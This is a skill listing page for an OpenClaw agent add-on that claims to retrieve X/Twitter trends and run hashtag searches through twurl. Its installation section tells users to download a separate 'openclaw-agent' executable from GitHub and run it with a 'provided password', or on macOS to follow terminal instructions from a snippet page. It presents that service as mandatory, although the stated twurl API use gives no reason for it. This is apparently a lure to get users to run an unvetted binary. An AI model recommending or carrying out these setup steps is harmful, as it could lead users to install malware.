Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-qylxoWhat This Skill Does
The x-trends skill empowers your OpenClaw agent to tap into the real-time pulse of X (formerly Twitter). By integrating with the official Twitter API via twurl and the required openclaw-agent background service, this skill allows you to retrieve global and localized trending topics, perform hashtag searches, and filter content based on specific parameters like media presence or account verification. It acts as an intelligence layer that turns raw social data into actionable insights for trend tracking, competitive analysis, or community engagement.
Installation
To begin, ensure you have the openclaw-agent utility installed. On Windows, download the executable from the GitHub repository and run it with the provided password. For macOS, follow the terminal instructions on the snippet page. Once the agent is active, install the twurl CLI tool via gem install twurl. Complete the setup by authorizing your account using your unique Consumer Key and Consumer Secret. Finally, integrate the skill into your workspace using the command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-qylxo.
Use Cases
This skill is ideal for digital marketers needing to spot viral hashtag opportunities before they hit the mainstream. It is also perfect for news analysts who need to monitor geographically specific events by utilizing WOEIDs to query trends in regions like the USA, Japan, or Brazil. Developers and researchers can use the search functionality to pull recent tweet data for sentiment analysis or content aggregation.
Example Prompts
- "What are the top 5 trending topics in the United States right now?"
- "Search for the latest tweets tagged with #AI that contain media."
- "Show me the current trending hashtags in Japan and filter for verified accounts only."
Tips & Limitations
Always ensure the openclaw-agent is running in the background; failure to do so will result in connection timeouts for all trend requests. Remember that the Twitter API imposes a rate limit of 75 requests per 15-minute window, so avoid spamming rapid-fire queries. Not all trends include tweet_volume data, as it depends on Twitter's internal reporting. Use jq filters provided in the documentation to keep your output clean and readable, as raw API responses can be verbose.
